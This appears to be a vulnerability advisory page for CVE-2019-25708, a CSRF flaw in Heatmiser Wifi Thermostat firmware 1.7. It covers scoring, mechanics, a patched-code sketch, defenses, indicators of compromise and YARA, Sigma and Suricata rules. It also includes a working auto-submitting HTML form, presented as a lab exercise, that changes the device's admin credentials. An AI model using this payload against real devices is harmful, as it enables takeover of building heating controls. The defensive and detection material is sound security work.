CVE-2019-25708
Executive Summary
CVE-2019-25708 is a Cross-Site Request Forgery (CSRF) vulnerability affecting Heatmiser Wifi Thermostat firmware version 1.7. The flaw allows an attacker to change the administrator credentials (username and password) by tricking an authenticated user into submitting a malicious request. The attack targets the networkSetup.htm endpoint with parameters usnm, usps, and cfps. With a CVSS score of 4.3 (Medium), this vulnerability poses a significant risk to smart building environments where thermostat access could be leveraged for lateral movement or physical disruption. No official patch has been released, and the vendor’s status remains unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects an embedded IoT device (Heatmiser Wifi Thermostat) and its firmware. Supply chain risks include compromised firmware updates or third-party integrations that may expose the thermostat to CSRF attacks.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N) – The attack can be launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – The attacker does not need prior authentication.
- User Interaction: Required (UI:R) – The victim must click a malicious link or visit a crafted page.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: Low (I:L) – Admin credentials can be modified.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the ability to change admin credentials could lead to full device compromise, enabling attackers to control thermostat settings, disrupt HVAC operations, or pivot to other network devices.
Deep Dive & Mechanics
The vulnerability resides in the networkSetup.htm endpoint of the Heatmiser Wifi Thermostat web interface. The device does not implement CSRF tokens or origin validation, allowing an attacker to craft a malicious HTML form that, when submitted by an authenticated user, modifies the admin username and password.
Attack Flow:
- The attacker creates a malicious HTML page containing a form that auto-submits to
http://<thermostat-ip>/networkSetup.htmwith parametersusnm(new username),usps(new password), andcfps(confirm password). - The attacker lures an authenticated admin user (e.g., via phishing email or malicious ad) to visit the page.
- The victim’s browser sends the forged request, including any existing session cookies (if the device uses cookie-based auth).
- The thermostat processes the request and changes the admin credentials without verifying the origin.
Root Cause: Lack of CSRF protection (no anti-CSRF tokens, no SameSite cookies, no Referer/Origin header validation).
Vulnerable vs. Patched Code
Vulnerable Code (Firmware 1.7):
The networkSetup.htm endpoint accepts POST requests with usnm, usps, and cfps parameters without any CSRF token validation. Example vulnerable handler (pseudo-code):
def handle_network_setup(request):
if request.method == 'POST':
new_username = request.POST['usnm']
new_password = request.POST['usps']
confirm_password = request.POST['cfps']
if new_password == confirm_password:
update_admin_credentials(new_username, new_password)
return "Success"
Patched Code (Hypothetical): A patched version would include CSRF token generation and validation:
import secrets
csrf_tokens = {}
def generate_csrf_token(session_id):
token = secrets.token_hex(16)
csrf_tokens[session_id] = token
return token
def handle_network_setup(request):
if request.method == 'POST':
session_id = request.cookies.get('session')
expected_token = csrf_tokens.get(session_id)
received_token = request.POST.get('csrf_token')
if not expected_token or received_token != expected_token:
return "CSRF validation failed", 403
# Proceed with credential change
Exploitation & Lab Setup
Red Team (Attack Simulation)
Lab Setup:
- Heatmiser Wifi Thermostat (firmware 1.7) on a local network (e.g., 192.168.1.100).
- Attacker machine with a web server (e.g., Python HTTP server).
- Victim machine with a browser (authenticated to the thermostat).
Exploit Payload (HTML):
<html>
<body>
<form id="csrf_form" action="http://192.168.1.100/networkSetup.htm" method="POST">
<input type="hidden" name="usnm" value="attacker">
<input type="hidden" name="usps" value="newpass123">
<input type="hidden" name="cfps" value="newpass123">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
Steps:
- Host the HTML file on the attacker’s web server.
- Ensure the victim is logged into the thermostat (session cookie present).
- Send the victim a link to the malicious page (e.g., via email).
- The form auto-submits, changing the admin credentials to
attacker/newpass123.
Blue Team (Defense & Detection)
Defensive Measures:
- Implement CSRF tokens on all state-changing endpoints.
- Validate the
OriginandRefererheaders. - Use
SameSite=StrictorSameSite=Laxcookies. - Restrict access to the thermostat web interface to trusted networks only.
Detection:
- Monitor for unusual POST requests to
/networkSetup.htmfrom unexpected origins. - Alert on multiple failed login attempts after credential changes.
- Use network segmentation to isolate IoT devices.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/networkSetup.htmwith parametersusnm,usps,cfps. - HTTP requests with
Refererheader pointing to an external domain. - Unusual admin login attempts after a credential change.
- POST requests to
- Host IOCs:
- Modified admin credentials (check via device logs).
- Unexpected changes in thermostat settings.
- File IOCs:
- Malicious HTML files containing auto-submitting forms targeting the thermostat IP.
Detection Engineering
YARA Rule
rule Heatmiser_CSRF_Exploit {
meta:
description = "Detects HTML files attempting CSRF against Heatmiser thermostat"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2019-25708"
strings:
$form = /<form[^>]*action=["']http:\/\/[^"']*\/networkSetup\.htm["']/
$usnm = /name=["']usnm["']/
$usps = /name=["']usps["']/
$cfps = /name=["']cfps["']/
condition:
all of ($form, $usnm, $usps, $cfps)
}
Sigma Rule
title: Heatmiser CSRF Credential Change Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to Heatmiser thermostat networkSetup.htm with credential parameters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/networkSetup.htm'
cs-uri-query|contains:
- 'usnm='
- 'usps='
- 'cfps='
condition: selection
falsepositives:
- Legitimate admin actions (if CSRF protection is absent)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2019-25708 Heatmiser CSRF Credential Change"; flow:to_server; content:"POST"; http_method; content:"/networkSetup.htm"; http_uri; content:"usnm="; http_client_body; content:"usps="; http_client_body; content:"cfps="; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the device: Place the thermostat on a separate VLAN with strict firewall rules.
- Disable remote access: If not required, block external access to the thermostat web interface.
- Use a reverse proxy: Implement a proxy that adds CSRF tokens or validates origin headers.
- Monitor logs: Enable logging and alert on credential changes.
Long-Term Fix:
- Contact Heatmiser for a firmware update. If unavailable, consider replacing the device with a CSRF-protected alternative.
- Implement network segmentation and IoT security gateways.
Workaround:
- Use browser extensions that block cross-site requests (e.g., uMatrix) for users accessing the thermostat.
Valters IT
{/* [Security Hash: B756A6A364AF9DDD6F7F1693] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.